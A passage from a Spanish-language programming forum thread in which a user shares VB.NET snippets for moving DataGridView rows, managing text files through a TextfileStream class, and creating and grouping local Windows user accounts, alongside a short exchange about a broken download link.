If codeProvider.Supports(GeneratorSupport.EntryPointMethod) Then
.MainClass = mainClassName
End If
End With
Return codeProvider.CompileAssemblyFromFile(cp, {sourceFile})
End Function
End Class
¿Habeis sentido alguna vez la necesidad de mover una o varias filas de un DataGridView preservando el valor de algunas celdas en el transcurso?, pues yo si, así que comparto este código rehusable que me parece bastante sofisticado para llevar a cabo esa tarea, soporta multi-selección de filas, pero es para manipular directamente las filas de un DataGridViev, no el datasource.
Ejemplo de uso:
Me.DataGridView1.MoveSelectedRows(DataGridViewMoveRowDirection.Up)
Me.DataGridView1.MoveSelectedRows(DataGridViewMoveRowDirection.Up, {0, 2})
Código fuente:
' ***********************************************************************
' Author : Elektro
' Modified : 16-June-2015
' ***********************************************************************
' <copyright file="DataGridViewExtensions.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.Runtime.CompilerServices
Imports System.Windows.Forms
#End Region
''' <summary>
''' Contains two methods for moving DataRows up/down.
''' You could easily tweak the code to work for say a ListBox.
''' </summary>
''' <remarks></remarks>
Public Module DataGridViewExtensions
#Region " Enumerations "
''' <summary>
''' Specifies a direction to move the rows.
''' </summary>
Public Enum DataGridViewMoveRowDirection As Integer
''' <summary>
''' Move row up.
''' </summary>
Up = 0
''' <summary>
''' Move row down.
''' </summary>
Down = 1
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
''' </summary>
''' <param name="sender">The <see cref="DataGridView"/>.</param>
''' <param name="direction">The row-move direction.</param>
<DebuggerStepThrough()>
<Extension()>
Public Sub MoveSelectedRows(ByVal sender As DataGridView,
ByVal direction As DataGridViewMoveRowDirection)
DoRowsMove(sender, direction)
End Sub
''' <summary>
''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
''' </summary>
''' <param name="sender">The <see cref="DataGridView"/>.</param>
''' <param name="direction">The row-move direction.</param>
''' <param name="preserveCellsIndex">A sequence of cell indexes to preserve its cell values when moving the row(s).</param>
<DebuggerStepThrough()>
<Extension()>
Public Sub MoveSelectedRows(ByVal sender As DataGridView,
ByVal direction As DataGridViewMoveRowDirection,
ByVal preserveCellsIndex As IEnumerable(Of Integer))
DoRowsMove(sender, direction, preserveCellsIndex)
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
''' </summary>
''' <param name="dgv">The <see cref="DataGridView"/>.</param>
''' <param name="direction">The row-move direction.</param>
''' <param name="preserveCellsIndex">Optionally, a sequence of cell indexes to preserve its cell values when moving the row(s).</param>
<DebuggerStepThrough()>
Private Sub DoRowsMove(ByVal dgv As DataGridView,
ByVal direction As DataGridViewMoveRowDirection,
Optional ByVal preserveCellsIndex As IEnumerable(Of Integer) = Nothing)
' Keeps tracks of a cell value to preserve, to swap them when moving rows.
Dim oldCellValue As Object
Dim newCellValue As Object
' Short row collection reference.
Dim rows As DataGridViewRowCollection = dgv.Rows
' Keeps track of the current row.
Dim curRow As DataGridViewRow
' The maximum row index.
Dim lastRowIndex As Integer =
If(dgv.AllowUserToAddRows,
rows.Count - 2,
rows.Count - 1)
' List of hash codes of the selected rows.
Dim selectedRows As New List(Of Integer)
' Get the hash codes of the selected rows
For i As Integer = 0 To (rows.Count - 1)
If (rows(i).IsNewRow = False) AndAlso (rows(i).Selected) Then
selectedRows.Add(rows(i).GetHashCode)
rows(i).Selected = False
End If
Next i
' Move the selected rows up or down.
Select Case direction
Case DataGridViewMoveRowDirection.Up
For i As Integer = 0 To lastRowIndex
If Not rows(i).IsNewRow Then
If (selectedRows.Contains(rows(i).GetHashCode)) AndAlso
(i - 1 >= 0) AndAlso
(Not selectedRows.Contains(rows(i - 1).GetHashCode)) Then
curRow = rows(i)
rows.Remove(curRow)
rows.Insert(i - 1, curRow)
If preserveCellsIndex IsNot Nothing Then
For Each cellIndex As Integer In preserveCellsIndex
oldCellValue = curRow.Cells(cellIndex).Value
newCellValue = rows(i).Cells(cellIndex).Value
rows(i).Cells(cellIndex).Value = oldCellValue
curRow.Cells(cellIndex).Value = newCellValue
Next cellIndex
End If
End If
End If
Next i
Case DataGridViewMoveRowDirection.Down
For i As Integer = lastRowIndex To 0 Step -1
If Not rows(i).IsNewRow Then
If (selectedRows.Contains(rows(i).GetHashCode)) AndAlso
(i + 1 <= lastRowIndex) AndAlso
(Not selectedRows.Contains(rows(i + 1).GetHashCode)) Then
curRow = rows(i)
rows.Remove(curRow)
rows.Insert(i + 1, curRow)
If preserveCellsIndex IsNot Nothing Then
For Each cellIndex As Integer In preserveCellsIndex
oldCellValue = curRow.Cells(cellIndex).Value
newCellValue = rows(i).Cells(cellIndex).Value
rows(i).Cells(cellIndex).Value = oldCellValue
curRow.Cells(cellIndex).Value = newCellValue
Next cellIndex
End If
End If
End If
Next i
End Select
' Restore selected rows.
For i As Integer = 0 To (rows.Count - 1)
If Not rows(i).IsNewRow Then
rows(i).Selected = selectedRows.Contains(rows(i).GetHashCode)
End If
Next i
End Sub
#End Region
End Module
Saludos!
Hola Eleкtro.
Disculpas las molestias pero el primer link de la pag 1 de snippets que es de mediafire no funciona ni tampoco el de la pagina 36 Actualizada la colección de snippets con un total de 544 Snippets
talvez puedas compartirlos en otro compila o volver a subir ese no habia teniado el gusto de ver el tema y me parece muy bueno.
Saludos.
Cita de: nolasco281 en 19 Junio 2015, 06:27 AM
Hola Eleкtro.
Disculpas las molestias pero el primer link de la pag 1 de snippets que es de mediafire no funciona ni tampoco el de la pagina 36 Actualizada la colección de snippets con un total de 544 Snippets
talvez puedas compartirlos en otro compila o volver a subir ese no habia teniado el gusto de ver el tema y me parece muy bueno.
Saludos.
Hmmm... antes de nada, ¡Gracias por avisar!, pero estoy preparando una actualización importante, hay muchos snippets antiguos que necesitan una refactorización completa, otros es mejor eliminarlos o adaptarlos para otros propósitos, y en fin, un lio, prefiero no resubir nada de momento hasta que no "limpie" todos los snippets, y son unos 700 (me está llevando meses xD).
De todas formas, aquí puedes descargar una versión más reciente de la colección de snippets:
Cita de: http://foro.elhacker.net/series_peliculas_musica_juegos_programas/microsoft_visual_studio_2013_ultimate_resource_pack_actualizado_09oct2014-t422732.0.htmlhttp://www.mediafire.com/download/34moxtwloovqw9a/Visual+Studio+CodeSnippet+Collection.exe (http://www.mediafire.com/download/34moxtwloovqw9a/Visual+Studio+CodeSnippet+Collection.exe)
(si prefieres no usar el exe, puedes desempaquetar su contenido con la aplicación
InnoUnp para InnoSetup)
Saludos!
Una Class para manipular archivos de texto.
Diagrama de clase:
(http://i.imgur.com/JJiAms1.png)
Ejemplo de uso:
Using txtFile As New TextfileStream("C:\File.txt", Encoding.Default)
txtFile.Lock()
txtFile.Lines.Add("Test")
txtFile.Lines(0) = "Hello World!"
txtFile.Save()
Dim lineIndex As Integer
Dim lineCount As Integer = txtFile.Lines.Count
Dim textFormat As String =
Environment.NewLine &
String.Join(ControlChars.NewLine,
From line As String In txtFile.Lines
Select String.Format("{0}: {1}",
Interlocked.Increment(lineIndex).ToString(New String("0"c, lineCount.ToString.Length)), line))
Console.WriteLine(String.Format("FilePath: {0}", txtFile.Filepath))
Console.WriteLine(String.Format("Encoding: {0}", txtFile.Encoding.WebName))
Console.WriteLine(String.Format("Lines : {0}", textFormat))
End Using
Código fuente:
' ***********************************************************************
' Author : Elektro
' Modified : 18-June-2015
' ***********************************************************************
' <copyright file="TextfileStream.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Using txtFile As New TextfileStream("C:\File.txt")
'
' txtFile.Lock()
'
' txtFile.Lines.Add("Test")
' txtFile.Lines(0) = "Hello World!"
' txtFile.Save()
'
' Dim lineIndex As Integer
' Dim lineCount As Integer = txtFile.Lines.Count
' Dim textFormat As String =
' Environment.NewLine &
' String.Join(ControlChars.NewLine,
' From line As String In txtFile.Lines
' Select String.Format("{0}: {1}",
' Interlocked.Increment(lineIndex).ToString(New String("0"c, lineCount.ToString.Length)), line))
'
' Console.WriteLine(String.Format("FilePath: {0}", txtFile.Filepath))
' Console.WriteLine(String.Format("Encoding: {0}", txtFile.Encoding.WebName))
' Console.WriteLine(String.Format("Lines : {0}", textFormat))
'
'End Using
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32.SafeHandles
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.IO
Imports System.Linq
Imports System.Text
#End Region
#Region " Textfile "
''' <summary>
''' Reads and manages the contents of a textfile.
''' It encapsulates a <see cref="System.IO.FileStream"/> to access the textfile.
''' </summary>
Public NotInheritable Class TextfileStream : Implements IDisposable
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the textfile path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The textfile path.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Filepath As String
Get
Return Me.filepathB
End Get
End Property
''' <summary>
''' (Backing field)
''' The textfile path.
''' </summary>
Private ReadOnly filepathB As String
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the textfile <see cref="Encoding"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The textfile <see cref="Encoding"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Encoding As Encoding
Get
Return Me.encodingB
End Get
End Property
''' <summary>
''' (Backing field)
''' The textfile <see cref="Encoding"/>.
''' </summary>
Private ReadOnly encodingB As Encoding = Encoding.Default
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the textfile lines.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The textfile lines.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Lines As TexfileLines
Get
Return Me.linesB
End Get
Set(ByVal value As TexfileLines)
Me.linesB = value
End Set
End Property
''' <summary>
''' (Backing field)
''' The textfile lines.
''' </summary>
Private linesB As TexfileLines
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the <see cref="System.IO.FileStream"/> instance that exposes a <see cref="System.IO.Stream"/> around the textfile.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.IO.FileStream"/> instance.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly Property fs As FileStream
Get
Return Me.fsB
End Get
End Property
''' <summary>
''' (Backing Field)
''' The <see cref="System.IO.FileStream"/> instance that exposes a <see cref="System.IO.Stream"/> around the textfile.
''' </summary>
Private ReadOnly fsB As FileStream
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property FileHandle As SafeFileHandle
Get
Return Me.fs.SafeFileHandle
End Get
End Property
''' <summary>
''' (Backing Field)
''' A <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
''' </summary>
Private ReadOnly fileHandleB As SafeFileHandle
#End Region
#Region " Sub-Classes "
''' <summary>
''' Defines a <see cref="System.Collections.Generic.List(Of String)"/> that contains the text-lines of a textfile.
''' </summary>
Partial Public NotInheritable Class TexfileLines : Inherits List(Of String)
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the number of blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The number of blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property CountBlank As Integer
Get
Return (From line As String In Me
Where String.IsNullOrEmpty(line) OrElse
String.IsNullOrWhiteSpace(line)).Count
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the number of non-blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The number of non-blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property CountNonBlank As Integer
Get
Return (From line As String In Me
Where Not String.IsNullOrEmpty(line) AndAlso
Not String.IsNullOrWhiteSpace(line)).Count
End Get
End Property
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="TexfileLines"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="TexfileLines"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="lines">
''' The text-lines.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal lines As IEnumerable(Of String))
Me.AddRange(lines)
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Randomizes the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An <see cref="IEnumerable(Of String)"/> that contains the randomized elements.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function Randomize() As IEnumerable(Of String)
Dim rand As New Random
Return From line As String In Me
Order By rand.Next
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes the elements at the specified indexes of the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="indexes">
''' The zero-based indexes of the elements to remove.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="IndexOutOfRangeException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overloads Sub RemoveAt(ByVal indexes As IEnumerable(Of Integer))
Dim lineCount As Integer = Me.Count
Select Case indexes.Max
Case Is < 0, Is > lineCount
Throw New IndexOutOfRangeException()
Case Else
Dim tmpRef As IEnumerable(Of String) =
Me.Select(Function(line As String, index As Integer)
Return New With
{
Key .line = line,
Key .index = index + 1
}
End Function).
Where(Function(con) Not indexes.Contains(con.index)).
Select(Function(con) con.line)
Me.Clear()
Me.AddRange(tmpRef)
tmpRef = Nothing
End Select
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes all leading and trailing occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="trimChars">
''' An array of Unicode characters to remove.
''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the start and the end of the elements.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function Trim(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
Return From line As String In Me
Select line.Trim(trimChars)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes all leading occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="trimChars">
''' An array of Unicode characters to remove.
''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the start of the elements.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function TrimStart(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
Return From line As String In Me
Select line.TrimStart(trimChars)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes all trailing occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="trimChars">
''' An array of Unicode characters to remove.
''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the end of the elements.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function TrimEnd(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
Return From line As String In Me
Select line.TrimEnd(trimChars)
End Function
#End Region
End Class
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="TextfileStream"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="TextfileStream"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The textfile path.
''' If the path doesn't exists, the file will be created.
''' </param>
'''
''' <param name="encoding">
''' The file encoding used to read the textfile.
''' If <paramref name="encoding"></paramref> value is <c>Nothing</c>, an attempt to detect the encoding will be realized,
''' if the attempt to detect the file encoding fails, <see cref="Encoding.Default"/> will be used.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="FileNotFoundException">
''' File not found.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String,
Optional ByVal encoding As Encoding = Nothing)
If Not File.Exists(filepath) Then
Throw New FileNotFoundException(message:="File not found.", fileName:=filepath)
Else
Me.filepathB = filepath
Me.encodingB = encoding
If Me.encodingB Is Nothing Then
Me.encodingB = Me.GetEncoding
End If
Me.linesB = New TexfileLines(File.ReadAllLines(Me.filepathB, Me.encodingB))
Me.fsB = New FileStream(filepath, FileMode.OpenOrCreate)
End If
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents other processes from reading or writing to the textfile.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Lock()
Me.fsB.Lock(0, Me.fsB.Length)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Allows access by other processes to read or write to a textfile that was previously locked.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Unlock()
Me.fsB.Unlock(0, Me.fsB.Length)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Closes the current stream and releases any resources (such as sockets and file handles) associated with the current stream.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Close()
Me.fsB.Close()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Save the lines of the current textfile, in the current textfile.
''' Note that the <see cref="Save"></see> method should be called to apply any realized changes in the lines of the textfile
''' before disposing this <see cref="TextfileStream"></see> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="encoding">
''' The file encoding used to write the textfile.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Save(Optional ByVal encoding As Encoding = Nothing)
If encoding Is Nothing Then
encoding = Me.encodingB
End If
Dim bytes As Byte() = encoding.GetBytes(Me.ToString)
Me.fs.SetLength(bytes.Length)
Me.fs.Write(bytes, 0, bytes.Length)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Save the lines of the current textfile, in the target textfile.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The target filepath where to save the text.
''' </param>
'''
''' <param name="encoding">
''' The file encoding used to write the textfile.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Save(ByVal filepath As String,
Optional ByVal encoding As Encoding = Nothing)
If encoding Is Nothing Then
encoding = Me.encodingB
End If
Using fs As New FileStream(filepath, FileMode.OpenOrCreate)
Dim bytes As Byte() = encoding.GetBytes(Me.ToString)
fs.SetLength(bytes.Length)
fs.Write(bytes, 0, bytes.Length)
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a <see cref="String"/> that represents this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="String"/> that represents this instance.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overrides Function ToString() As String
Return String.Join(ControlChars.NewLine, Me.linesB)
End Function
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines the <see cref="Encoding"/> of the current textfile.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the encoding can be detected, the return value is the detected <see cref="Encoding"/>,
''' if the encoding can't be detected, the return value is <see cref="Encoding.Default"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Function GetEncoding() As Encoding
Dim encoding As Encoding = Nothing
Dim bytes As Byte() = File.ReadAllBytes(Me.filepathB)
For Each encodingInfo As EncodingInfo In encoding.GetEncodings()
Dim currentEncoding As Encoding = encodingInfo.GetEncoding()
Dim preamble As Byte() = currentEncoding.GetPreamble()
Dim match As Boolean = True
If (preamble.Length > 0) AndAlso (preamble.Length <= bytes.Length) Then
For i As Integer = 0 To (preamble.Length - 1)
If preamble(i) <> bytes(i) Then
match = False
Exit For
End If
Next i
Else
match = False
End If
If match Then
encoding = currentEncoding
Exit For
End If
Next encodingInfo
If encoding Is Nothing Then
Return encoding.Default
Else
Return encoding
End If
End Function
#End Region
#Region " IDisposable "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean = False
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="System.ObjectDisposedException"></exception>
''' ----------------------------------------------------------------------------------------------------
Private Sub DisposedCheck()
If Me.isDisposed Then
Throw New ObjectDisposedException(Me.GetType.FullName)
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases all the resources used by this <see cref="TextfileStream"></see> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <c>True</c> to release both managed and unmanaged resources;
''' <c>False</c> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Sub Dispose(ByVal isDisposing As Boolean)
If Not Me.isDisposed Then
If isDisposing Then
If Me.fsB IsNot Nothing Then
Me.fsB.Close()
Me.linesB.Clear()
End If
End If
End If
Me.isDisposed = True
End Sub
#End Region
End Class
#End Region
Un pequeño código para crear nuevas cuentas de usuario en el equipo.
Ejemplo de uso:
CreateUserAccount(username:="Elektro",
password:="",
displayName:="Elektro account.",
description:="This is a test user-account.",
canChangePwd:=True,
pwdExpires:=False,
groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
Código fuente:
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Create user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' CreateUserAccount(username:="Elektro",
''' password:="",
''' displayName:="Elektro Account.",
''' description:="This is a test user-account.",
''' canChangePwd:=True,
''' pwdExpires:=False,
''' groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a new user account in the current machine.
''' This function does not adds the user to the machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="password">
''' The user password.
''' If this value is empty, account is set to don't require a password.
''' </param>
'''
''' <param name="displayName">
''' The display name of the user account.
''' </param>
'''
''' <param name="description">
''' The description of the user account.
''' </param>
'''
''' <param name="canChangePwd">
''' A value that indicates whether the user can change its password.
''' </param>
'''
''' <param name="pwdExpires">
''' A value that indicates whether the password should expire.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function CreateUserAccount(ByVal username As String,
ByVal password As String,
ByVal displayName As String,
ByVal description As String,
ByVal canChangePwd As Boolean,
ByVal pwdExpires As Boolean) As UserPrincipal
Using context As New PrincipalContext(ContextType.Machine)
Dim user As New UserPrincipal(context)
With user
.Name = username
.SetPassword(password)
.PasswordNotRequired = String.IsNullOrEmpty(password)
.DisplayName = displayName
.Description = description
.UserCannotChangePassword = canChangePwd
.PasswordNeverExpires = pwdExpires
.Enabled = True
.Save()
End With
Return user
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Add user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' AddUserAccount(username:="Elektro",
''' password:="",
''' displayName:="Elektro Account.",
''' description:="This is a test user-account.",
''' canChangePwd:=True,
''' pwdExpires:=False,
''' groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adds a new user account in the current machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="password">
''' The user password.
''' If this value is empty, account is set to don't require a password.
''' </param>
'''
''' <param name="displayName">
''' The display name of the user account.
''' </param>
'''
''' <param name="description">
''' The description of the user account.
''' </param>
'''
''' <param name="canChangePwd">
''' A value that indicates whether the user can change its password.
''' </param>
'''
''' <param name="pwdExpires">
''' A value that indicates whether the password should expire.
''' </param>
'''
''' <param name="groupSid">
''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub AddUserAccount(ByVal username As String,
ByVal password As String,
ByVal displayName As String,
ByVal description As String,
ByVal canChangePwd As Boolean,
ByVal pwdExpires As Boolean,
Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
Using context As New PrincipalContext(ContextType.Machine)
Using user As UserPrincipal = CreateUserAccount(username, password, displayName, description, canChangePwd, pwdExpires)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
group.Members.Add(user)
group.Save()
End Using ' group
End Using ' user
End Using ' context
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Add user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' AddUserAccount(user:=myUserPrincipal, groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adds a new user account in the current machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="user">
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </param>
'''
''' <param name="groupSid">
''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub AddUserAccount(ByVal user As UserPrincipal,
Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
Using context As New PrincipalContext(ContextType.Machine)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
group.Members.Add(user)
group.Save()
End Using ' group
End Using ' context
End Sub
UserAccountUtil.vb, una class para realizar tareas comunes relacioandas con las cuentas de usuario (LOCALES) de Windows.
Diagrama de Class:
(http://i.imgur.com/BXANdCN.png)
Código fuente:
' ***********************************************************************
' Author : Elektro
' Modified : 20-June-2015
' ***********************************************************************
' <copyright file="UserAccountUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Properties "
' UserAccountUtil.CurrentUser As UserPrincipal
' UserAccountUtil.CurrentUserIsAdmin As Boolean
#End Region
#Region " Functions "
' UserAccountUtil.Create(String, String, String, String, Boolean, Boolean) As UserPrincipal
' UserAccountUtil.FindProfilePath(SecurityIdentifier) As String
' UserAccountUtil.FindProfilePath(String) As String
' UserAccountUtil.FindSid(String) As SecurityIdentifier
' UserAccountUtil.FindUser(SecurityIdentifier) As UserPrincipal
' UserAccountUtil.FindUser(String) As UserPrincipal
' UserAccountUtil.FindUsername(SecurityIdentifier) As String
' UserAccountUtil.GetAllUsers() As List(Of UserPrincipal)
' UserAccountUtil.IsAdmin(String) As Boolean
' UserAccountUtil.IsMemberOfGroup(String, String) As Boolean
